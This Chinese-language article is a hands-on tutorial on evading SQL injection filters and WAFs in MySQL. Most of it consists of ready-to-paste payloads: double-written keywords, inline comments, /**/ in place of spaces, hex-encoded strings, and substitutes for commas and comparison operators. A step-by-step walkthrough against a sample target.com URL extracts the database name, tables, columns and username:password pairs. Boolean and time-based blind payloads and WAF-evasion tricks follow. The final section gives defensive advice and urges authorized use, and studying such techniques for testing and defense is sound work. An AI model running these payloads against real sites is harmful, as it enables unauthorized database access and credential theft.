SQL注入过滤绕过实战:从黑名单到语义分析的攻防博弈
1. 项目概述:手工注入的艺术与过滤绕过的博弈
在Web安全领域,SQL注入始终是绕不开的经典话题。很多刚入门的朋友,在靶场里用自动化工具跑出第一个注入点时,可能会觉得“SQL注入不过如此”。但当你真正面对一个经过简单防护、对关键字进行过滤的实战环境时,才会发现,真正的较量才刚刚开始。手工注入的魅力,恰恰在于这种“见招拆招”的博弈过程。它不是简单地执行一个sqlmap -u “xxx” --dbs,而是需要你像一个侦探一样,仔细分析服务器的每一次响应,理解其过滤逻辑,并运用各种奇技淫巧,将你的攻击载荷“伪装”成合法请求,最终达成目的。
“绕过过滤”是手工注入中的核心技能,也是区分脚本小子和真正渗透测试工程师的一道分水岭。它考验的不仅是对SQL语法细节的掌握,更是对目标防护机制的理解和创造性思维。今天,我们就来深入聊聊这个话题,我会结合自己多年在渗透测试和CTF比赛中的实战经验,为你系统性地拆解那些绕过过滤的巧妙手法。无论你是正在学习网络安全的学生,还是希望提升手工注入能力的从业者,这篇文章都将为你提供一套可直接上手、深入原理的实战指南。
2. 过滤机制解析与绕过思路总览
在开始具体的技术拆解前,我们必须先理解对手——也就是服务器端的过滤机制。只有摸清了它的“脾气”,我们才能找到“后门”。常见的过滤思路主要分为三大类,每一类都有其特点和相应的绕过策略。
2.1 基于黑名单的字符替换过滤
这是最简单、也最常见于早期CMS或自定义防护代码中的方式。它的逻辑非常直接:开发者定义一个“黑名单”列表,比如['select', 'union', 'or', 'and', '--', '#', '/*', '*/', 'sleep', 'benchmark'],然后对用户输入进行扫描,一旦发现这些字符串,就将其替换为空字符串或特定字符(如替换为空格)。
绕过思路:这种过滤方式的致命弱点在于“替换”这个动作本身。如果过滤逻辑是简单地、顺序地执行str_replace,那么我们就可以利用“嵌套”或“双写”的技巧来绕过。
- 双写绕过:这是最经典的绕过方式。假设过滤函数将
union替换为空,那么当我们输入uniunionon时,过滤函数会找到中间的union并将其删除,剩下的部分un和ion会重新组合成union,从而成功逃逸。同理,selselectect、oorr等也是如此。 - 大小写混合绕过:如果过滤是大小写敏感的(很多简单的
str_replace是),那么使用SeLeCt、UnIoN就可以轻松绕过。因为SeLeCt不等于黑名单里的select。 - 利用注释符分割关键字:在SQL中,注释符
/**/在某些上下文中可以被视为空白。因此,sel/**/ect、un/**/ion可以有效地将关键字拆散,绕过基于完整字符串匹配的黑名单。
注意:双写绕过的成功率取决于过滤函数的执行次数。如果开发者足够细心,对输入进行了递归或循环过滤,直到没有黑名单词为止,那么双写就会失效。但在实际测试中,很多应用为了性能考虑,只进行一次替换,这就留下了可乘之机。
2.2 基于正则表达式的模式匹配过滤
这种过滤方式更为先进和常见于WAF(Web应用防火墙)或成熟的框架中。开发者或安全产品会编写复杂的正则表达式(Regex),来匹配一系列可疑的“模式”,而不仅仅是固定的字符串。
例如,一个正则可能试图匹配union\s+select这样的模式,其中\s+代表一个或多个空白字符(空格、制表符、换行等)。这样,无论你中间加多少空格或注释,都会被匹配到。
绕过思路:对抗正则过滤,核心在于“变异”,让我们的攻击载荷不再符合那个预设的“可疑模式”。
- 使用非常规空白符:如果正则只匹配了空格(
\x20),我们可以使用Tab(\x09)、换行符(\x0a、\x0d)、甚至是URL编码中的%a0(不换行空格)来替代。在HTTP请求中,这些字符很多时候会被正常解析为分隔符。 - 内联注释(
/*!...*/)的妙用:MySQL特有的内联注释,其中的内容会被MySQL服务器执行,但某些简单的正则可能无法正确解析其语法。例如,/*!50000union*/ select,或者更隐蔽地将关键字拆开:un/*!12345ion*/ sel/*!12345ect*/。数字50000表示当MySQL版本大于等于5.00.00时才执行其中的语句,这也可以用来绕过一些针对特定关键字的正则。 - 探索数据库新特性:这是高阶绕过手法。例如,在MySQL 8.0.19+中,引入了
TABLE和VALUES语句,可以部分替代SELECT的功能。很多WAF的规则库更新滞后,可能还没有为这些新语法建立匹配规则。TABLE users;语句可以直接列出users表的所有内容,完全避开了SELECT关键字。
2.3 基于语义分析的智能过滤
这是目前最先进的防护层级,通常出现在商业级WAF中。它不仅仅匹配字符串或模式,而是尝试对输入进行初步的SQL语法解析,判断其结构是否构成一个合法的、但具有威胁性的查询。例如,它会识别出UNION SELECT后面跟了来自information_schema的查询,并将其判定为注入攻击。
绕过思路:面对语义分析,常规的字符变形往往无效。我们需要从SQL语法的“角落”里寻找那些合法但生僻、WAF可能未完全覆盖的用法。
- 利用数据库特性函数/语法:例如,使用
SELECT ‘abc’ REGEXP ‘^a’来代替LIKE ‘a%’;使用STRCMP()函数来进行盲注时的比较,替代=或>、<。使用POLYGON()、GEOMETRY等GIS相关函数,有时也能构造出意想不到的注入点。 - 非常规注入点:不局限于
WHERE子句。考虑ORDER BY、GROUP BY、LIMIT、ON子句(在JOIN中)、HAVING子句甚至表名、列名位置。这些地方的注入往往需要不同的语法构造,可能绕过针对WHERE子句注入的语义规则。 - 时间盲注的变形:如果
SLEEP()、BENCHMARK()被过滤,可以尝试使用复杂的子查询、笛卡尔积连接来制造时间延迟。例如:SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) > 0,这种大量数据的连接操作会消耗可观的时间。 - 分块传输编码(Chunked Transfer-Encoding)或协议层干扰:这已经超出了纯SQL语法的范畴,属于HTTP协议层的绕过。通过构造特殊的HTTP请求,如分块传输,可以干扰WAF对请求体的解析,使其无法正确提取出完整的参数进行语义分析,从而让恶意载荷直达后端数据库。
3. 核心绕过技巧的深度拆解与实战应用
了解了宏观思路,我们进入微观战场,逐一拆解那些在实战中屡试不爽的具体绕过技巧。我会为每个技巧配上详细的原理说明和可直接复现的Payload示例。
3.1 空格被过滤的多种替代方案
空格是SQL语句中最常见的分隔符。一旦被过滤,整个语句结构就会被打乱。但SQL语法是灵活的,我们有太多可以替代空格的东西。
- 注释符
/**/:这是最常用的替代品。SELECT/**/name/**/FROM/**/users在MySQL中完全等效于SELECT name FROM users。注意,/**/是MySQL的多行注释,但在这种用法下,它起到了空白符的作用。 - 括号
():括号不仅能改变运算优先级,在SQL中还能用于包裹表达式,并且括号之间和周围可以不加空格。例如:SELECT(user())FROM dual WHERE(1=1)AND(2=2)。这在盲注中极其有用,可以构造如:?id=1‘ AND (ASCII(SUBSTR((SELECT database()),1,1)))=100 --+。 - Tab符(
%09)、换行符(%0a,%0d):在URL编码中或Burp Suite里直接修改原始请求时,可以用这些不可见字符替代空格。但要注意,目标服务器的解析器必须能接受这些字符作为分隔符。 - URL编码的空格
%20及其他:%20是标准的空格编码。但有时WAF只解码一次,你可以尝试双重编码%2520,或者使用%a0(不换行空格)。在Burp中抓包后,在Hex视图下直接修改为a0即可。 - 利用浮点数或科学计数法:这是一个非常巧妙的技巧。
SELECT * FROM users WHERE id=8E0union select 1,2,3。这里8E0是科学计数法,等于8.0。数据库在解析时,会将其视为数字8.0,后面的union因为前面没有空格,会与8.0连在一起,但MySQL的解析器能够智能地将8.0union识别为数字8.0和关键字union,从而成功执行。这招在过滤非常严格时可能有奇效。
3.2 引号、逗号、比较符等关键符号的绕过
这些符号在构造精确Payload时至关重要,它们的缺失会让我们寸步难行。
- 引号绕过:当字符串的引号(
‘或“)被过滤时,我们无法直接表示字符串。此时十六进制编码是救星。任何字符串都可以转换为十六进制格式,并在前面加上0x。例如,字符串users的十六进制是0x7573657273。那么SELECT * FROM information_schema.tables WHERE table_name=‘users’就可以写成SELECT * FROM information_schema.tables WHERE table_name=0x7573657273。在盲注中,你需要将猜测的字符转换为十六进制进行比较。 - 逗号绕过:逗号常用于函数参数分隔和
LIMIT子句中。FROM ... FOR ...:对于SUBSTR()和MID()函数,可以使用FROM ... FOR ...语法替代逗号。SUBSTR(database(),1,1)等价于SUBSTR(database() FROM 1 FOR 1)。JOIN语句:当UNION SELECT需要多个字段时,如UNION SELECT 1,2,3,如果逗号被过滤,可以改写为:UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c。这里通过创建子查询别名并用JOIN连接,避免了直接使用逗号分隔字段。LIMIT与OFFSET:LIMIT 0,1可以写成LIMIT 1 OFFSET 0。
- 比较符(
<,>,=)绕过:在基于布尔或时间的盲注中,比较符是核心。GREATEST()/LEAST()函数:GREATEST(a,b)返回a和b中较大的值。那么ASCII(SUBSTR(...)) > 100可以转化为GREATEST(ASCII(SUBSTR(...)), 100) = ASCII(SUBSTR(...))。如果左边表达式等于ASCII(SUBSTR(...)),说明它比100大。同理,LEAST()可用于判断小于。BETWEEN ... AND ...:id > 10可以写成id BETWEEN 11 AND 999999(一个很大的数)。id = 10可以写成id BETWEEN 10 AND 10。LIKE,RLIKE,REGEXP:用于替代等号=进行字符串匹配。SELECT * FROM users WHERE user LIKE ‘admin%’。在盲注中,可以逐位猜测:SELECT ‘abc’ LIKE ‘a%’返回1(真),SELECT ‘abc’ LIKE ‘b%’返回0(假)。- 数学运算:
=可以用IN()函数替代,或者利用数学特性。id=10可以写成id IN(10)或者id/10=1(需注意类型)。
3.3 核心关键字(UNION, SELECT, WHERE)的变形艺术
这是绕过过滤的主战场,目标是让这些关键字“改头换面”,逃过检测。
- 大小写混合与随机大小写:
UnIoN,SeLeCt,WhErE。这是最基本的试探。 - 内联注释(
/*!...*/):- 包裹整个关键字:
/*!union*/ - 在关键字中间插入:
un/*!12345ion*/。这里的数字可以是任何版本号,只要大于等于实际MySQL版本即可。它有时能干扰基于正则的简单分词。 - 利用内联注释定义版本特定语法,制造解析差异。
- 包裹整个关键字:
- 注释符分割:
U/**/NION,SEL/**/ECT。利用/**/作为“隐形”的分隔符。 - 双写绕过:如前所述,
ununionion,selselectect。务必在每次测试时,验证过滤是单次替换还是循环替换。可以通过输入ununionion并观察返回是否变成union来判断。 - 加号(
+)连接字符串(在SQL Server中):这是一个针对特定数据库的技巧。在SQL Server中,加号可以连接字符串。‘sel’+’ect’最终会被执行为‘select’。但在MySQL中,加号是数学运算符,此方法无效。MySQL中可以使用CONCAT()函数,但CONCAT本身也可能被过滤。 - 利用数据库新语法(MySQL 8.0+):
TABLE语句:TABLE table_name;几乎等价于SELECT * FROM table_name;。这是一个完全避开SELECT关键字的数据读取方式。例如,UNION TABLE users --。VALUES语句:VALUES ROW(1,‘admin’,‘pass’), ROW(2,‘user’,‘123’);可以构造一个结果集。虽然不能直接从其他表查,但可以与UNION结合,或者用于盲注中的条件判断。
3.4 编码与等价函数替换
当直接的关键字变形行不通时,我们可以尝试从更底层的“表达”形式上做文章。
- 各种编码:
- 十六进制(Hex):如前所述,用于绕过引号。
- URL编码:对单个字符或整个参数进行URL编码。有时WAF只做一次解码,你可以尝试双重编码。
union->%75%6e%69%6f%6e。 - Unicode编码:在某些特定上下文或数据库配置下可能有效,但不如前两者通用。
- ASCII码函数:
CHAR(115, 101, 108, 101, 99, 116)会生成字符串‘select’。这可以将关键字拆解成一串数字,绕过基于字符串的匹配。
- 等价函数替换:数据库通常为同一个功能提供了多个函数。
SUBSTR()/MID()/SUBSTRING()三者功能基本一致。SLEEP()被过滤?试试BENCHMARK(1000000, MD5(‘test’))。BENCHMARK函数会重复执行一个表达式多次,用于制造时间延迟。PG_SLEEP()是PostgreSQL的。CONCAT()被过滤?试试CONCAT_WS(‘’,‘a’,‘b’)或GROUP_CONCAT()(虽然语义略有不同,但在特定上下文中可替代)。VERSION()可以用@@version替代。USER()可以用@@user、CURRENT_USER()等替代。
4. 手工注入绕过过滤的完整实战流程
理论说再多,不如亲手试一次。下面我将模拟一个中度过滤的环境(过滤了空格、union、select、=、单引号),带你走一遍完整的手工注入流程,目标是获取数据库名。我们假设注入点为:http://target.com/page.php?id=1
第1步:探测注入点与过滤规则
首先,我们需要确认注入点类型并摸清过滤规则。
基础探测:
id=1-> 正常页面。id=1‘-> 如果报错或页面异常,说明可能存在字符型注入,且单引号未被完全过滤。如果页面正常,可能是数字型,或者单引号被过滤/转义了。id=1 and 1=1-> 如果返回与id=1相同,正常。id=1 and 1=2-> 如果返回与id=1不同(空、错误),说明and和=可能未被过滤,且存在布尔逻辑注入。
测试过滤项:
- 输入
id=1 union select 1,2,3,观察是否被拦截或返回错误。如果被拦截,说明union和select可能被检测。 - 输入
id=1 uniunionon selselectect 1,2,3,如果页面正常返回,说明过滤是简单的字符串替换且可双写绕过。 - 输入
id=1‘ AND ‘1’=‘1和id=1‘ AND ‘1’=‘2,测试单引号和等号。如果=‘2时页面异常,说明单引号和等号可用。 - 输入
id=1‘ AND ‘1’ LIKE ‘1,测试LIKE作为等号替代品。 - 输入
id=1‘/**/AND/**/‘1’/**/LIKE/**/‘1,测试空格和/**/。
- 输入
假设我们最终探测出规则:过滤了union、select、空格,但可以用/**/替代空格,用双写绕过关键字,=被过滤但LIKE可用,单引号可用。
第2步:确定字段数(ORDER BY)
字段数是使用UNION查询的前提。由于ORDER BY后面通常跟数字,可能不受关键字过滤影响,但空格被过滤了。
- Payload:
id=1‘/**/ORDER/**/BY/**/3--+- 不断递增数字(3,4,5...),直到页面返回错误。假设在
ORDER BY 4时出错,说明当前查询有3个字段。
- 不断递增数字(3,4,5...),直到页面返回错误。假设在
- 如果
ORDER BY也被过滤,可以尝试GROUP BY,原理相同。
第3步:构造联合查询,寻找回显位
现在我们需要构造一个能绕过所有过滤的UNION SELECT语句,并找出页面中哪个位置会显示我们查询的数据(回显位)。
- 原始语句:
id=-1‘ UNION SELECT 1,2,3 --+ - 绕过变形:
- 将
UNION双写:ununionion - 将
SELECT双写:selselectect - 将空格替换为
/**/:ununionion/**/selselectect/**/1,2,3 - 由于
=被过滤,我们使用LIKE来确保id=-1查不到数据,从而让联合查询的结果显示出来。但这里id=-1本身是数字比较,LIKE用于字符串,所以更稳妥的方式是让原查询查不到数据,例如利用一个永假条件:id=1‘ AND ‘1’ LIKE ‘2
- 将
- 最终Payload:
id=1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,2,3--+ - 提交后,观察页面。如果联合查询成功,页面上原本显示数据的地方可能会出现数字
1、2或3。假设数字2和3的位置显示了出来。
第4步:获取数据库信息
现在我们知道了回显位是第2和第3列。我们可以用它们来替换1,2,3,查询我们需要的信息。
获取当前数据库名:
- 使用
database()函数。Payload:id=1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,database(),3--+ - 提交后,在回显位
2的位置应该会显示当前数据库的名称,例如myapp_db。
- 使用
获取表名:
- 从
information_schema.tables中查询。这里表名是字符串,我们需要用十六进制绕过可能的引号过滤(尽管我们测试单引号可用,但为了通用性,可以提前用)。 - 假设数据库名是
myapp_db,其十六进制为0x6d796170705f6462(可以用在线工具或Python的‘myapp_db’.encode(‘hex’)快速获取,注意MySQL十六进制前加0x)。 - Payload:
id=1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,table_name,3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema/**/LIKE/**/0x6d796170705f6462/**/LIMIT/**/0,1--+ - 这里我们用了
LIKE替代=,用了/**/替代空格,用了LIMIT 0,1一次取一个表名。通过递增LIMIT的偏移量(0,1->1,1->2,1)可以遍历所有表。
- 从
获取列名:
- 假设我们找到了一个感兴趣的表
users,其十六进制为0x7573657273。 - 从
information_schema.columns中查询。Payload:id=1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,column_name,3/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/LIKE/**/0x7573657273/**/LIMIT/**/0,1--+
- 假设我们找到了一个感兴趣的表
最终获取数据:
- 假设
users表有username和password列。 - Payload:
id=1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,concat(username,0x3a,password),3/**/FROM/**/users/**/LIMIT/**/0,1--+ - 这里
concat用于将用户名和密码用冒号(0x3a是冒号的十六进制)连接起来显示在一个回显位。LIMIT用于逐条读取。
- 假设
第5步:盲注场景下的绕过
如果页面没有明显的回显位(即我们联合查询的数据不显示在页面上),我们就需要进行盲注。盲注的核心是构造一个条件查询,根据页面返回的“真”、“假”状态(布尔盲注)或响应时间长短(时间盲注)来推断数据。
假设我们处于一个布尔盲注环境,且过滤规则同上。
- 猜测数据库名长度:
- Payload:
id=1‘/**/AND/**/LENGTH(database())/**/LIKE/**/8--+ - 如果页面返回“真”状态(如正常内容),说明数据库名长度为8。我们可以通过遍历数字来猜测。
- Payload:
- 逐位猜测数据库名:
- 使用
SUBSTR()函数,并用FROM ... FOR ...语法绕过逗号。 - Payload:
id=1‘/**/AND/**/ASCII(SUBSTR(database()/**/FROM/**/1/**/FOR/**/1))/**/LIKE/**/109--+ - 这里
SUBSTR(database() FROM 1 FOR 1)取数据库名第一个字符。ASCII()将其转为ASCII码。109是字母m的ASCII码。如果页面返回“真”,说明数据库名第一个字符是m。我们通过遍历ASCII码(65-122对应A-z)来猜测每一位。 - 如果
ASCII()和SUBSTR()也被过滤,可以尝试用MID()、ORD()等等价函数,或者使用LIKE ‘m%‘这种模式匹配来逐位猜测,但效率较低。
- 使用
时间盲注的逻辑类似,只是将条件判断改为基于时间的函数,如id=1‘/**/AND/**/IF(ASCII(SUBSTR(database()/**/FROM/**/1/**/FOR/**/1))/**/LIKE/**/109,SLEEP(5),0)--+。如果第一个字符是m,则页面响应会延迟5秒。
5. 高级技巧、疑难排查与防御视角
5.1 非常规注入点与二次注入
ORDER BY注入:ORDER BY后面的参数如果可控,也可能产生注入。例如?order=id,可以尝试?order=(CASE WHEN (1=1) THEN id ELSE name END),通过条件判断来进行盲注。LIMIT注入:在MySQL 5.x中,LIMIT子句的偏移量部分(OFFSET)注入利用较为复杂。在MySQL 5.6+及MariaDB中,LIMIT子句可以跟PROCEDURE ANALYSE(),但此技巧利用条件苛刻。- 二次注入:这是过滤机制最难防御的一种。攻击者将恶意Payload存入数据库(例如注册用户名时填入
admin‘--),由于存入时可能经过了转义或过滤,所以安全。但当应用程序后续从数据库取出这个数据,并不加处理地用于另一个SQL查询时,注入就会发生。因为从数据库取出的数据通常被认为是“干净”的。防御二次注入,必须坚持“任何来自外部(包括数据库)的数据都不可信”的原则,在每一次使用前都进行校验。
5.2 常见问题与排查技巧
Payload执行了,但页面没变化?
- 检查回显位:确保
UNION SELECT的字段数和数据类型与原查询匹配。尝试将id值设为负值或一个不存在的值,确保原查询结果为空,让联合查询结果得以显示。 - 查看页面源码:数据可能被输出到了HTML注释、JavaScript变量或隐藏的表单元素中,在页面渲染上看不见。
- 可能是盲注:尝试布尔或时间盲注的Payload进行验证。
- 检查回显位:确保
一直报语法错误?
- 仔细检查变形:确保关键字绕过(如双写)后拼接正确。
ununionion去掉中间的union后必须是union,不能多出或少字符。 - 检查符号闭合:字符型注入要确保引号闭合。如果原语句是
id=‘$input‘,你的Payload必须以单引号开始和结束,或者用注释符--+或#注释掉后面的部分。 - 数据库差异:确认目标数据库类型(MySQL, PostgreSQL, SQL Server, Oracle等)。本文技巧以MySQL为主,其他数据库语法有差异。例如,SQL Server的注释符是
--,字符串连接用+;Oracle的字符串连接用||。
- 仔细检查变形:确保关键字绕过(如双写)后拼接正确。
WAF拦截频繁,如何降低噪音?
- 减慢请求速度:使用工具设置请求延迟,避免触发WAF的速率限制规则。
- 分拆Payload:不要一次性发送完整的注入语句。先测试一个简单条件(如
and 1=1),再逐步添加复杂部分。 - 尝试参数污染:例如,提交
?id=1&id=2‘ UNION SELECT --。不同的服务器处理多个同名参数的方式不同,有时可能绕过一些简单的检测逻辑。 - 更改请求方法:尝试将GET请求改为POST请求,或者反之。
- 修改HTTP头部:添加或修改
X-Forwarded-For,User-Agent等头部,有时能绕过基于IP或客户端特征的简单规则。
5.3 从攻击者到防御者的思考
作为一名安全从业者,了解攻击手法的最终目的是为了更好地防御。从绕过过滤的攻防中,我们可以总结出防御SQL注入的最佳实践:
- 首选参数化查询(预编译语句):这是根治SQL注入的银弹。让数据库将代码(SQL结构)和数据(用户输入)分开处理,无论用户输入什么,都会被当作数据而非代码执行。几乎所有现代编程语言和框架都支持。
- 如果必须拼接,则严格过滤:如果因历史遗留问题等原因必须使用拼接,那么:
- 使用白名单:对于已知有限的输入(如排序字段
order by status),只允许id、name等预定义的几个值,拒绝其他任何输入。 - 严格类型转换:对于数字型参数,在拼接前强制转换为整数/浮点数。
- 转义特殊字符:对于字符串,使用数据库驱动提供的专用转义函数(如MySQL的
mysqli_real_escape_string()),而不是自己写addslashes()。
- 使用白名单:对于已知有限的输入(如排序字段
- 最小权限原则:数据库连接账户不应使用
root或sa等高权限账户。应为其分配仅能满足应用需求的最小权限,例如只授予特定表的SELECT权限,不授予DROP、FILE等危险权限。 - 错误信息处理:自定义统一的错误页面,避免将数据库的原始错误信息(包含表名、SQL语句片段)直接返回给用户。这能增加攻击者进行盲注的难度。
- 使用Web应用防火墙(WAF):WAF可以作为一道有效的补充防线,基于规则库拦截常见攻击模式。但切记,WAF不是万能的,它可能被绕过(正如本文所述),不能替代安全的编码实践。
手工注入绕过过滤是一场充满创造力的智力游戏,它要求你对SQL语法、数据库特性、HTTP协议乃至服务器配置都有深入的理解。每一次成功的绕过,都是对技术细节的一次深刻把握。希望这篇超过五千字的详细拆解,能为你打开这扇门,让你在安全测试的道路上走得更深、更稳。记住,技术的刀刃本身并无善恶,关键在于持刀之人。将这些知识用于授权的安全测试、CTF竞赛或自我学习,才能真正提升我们的能力,为构建更安全的网络环境贡献力量。在实际操作中,耐心和细致的观察往往比复杂的Payload更重要,一个字符一个字符地去试探、去理解服务器的反馈,是手工注入最本质的乐趣所在。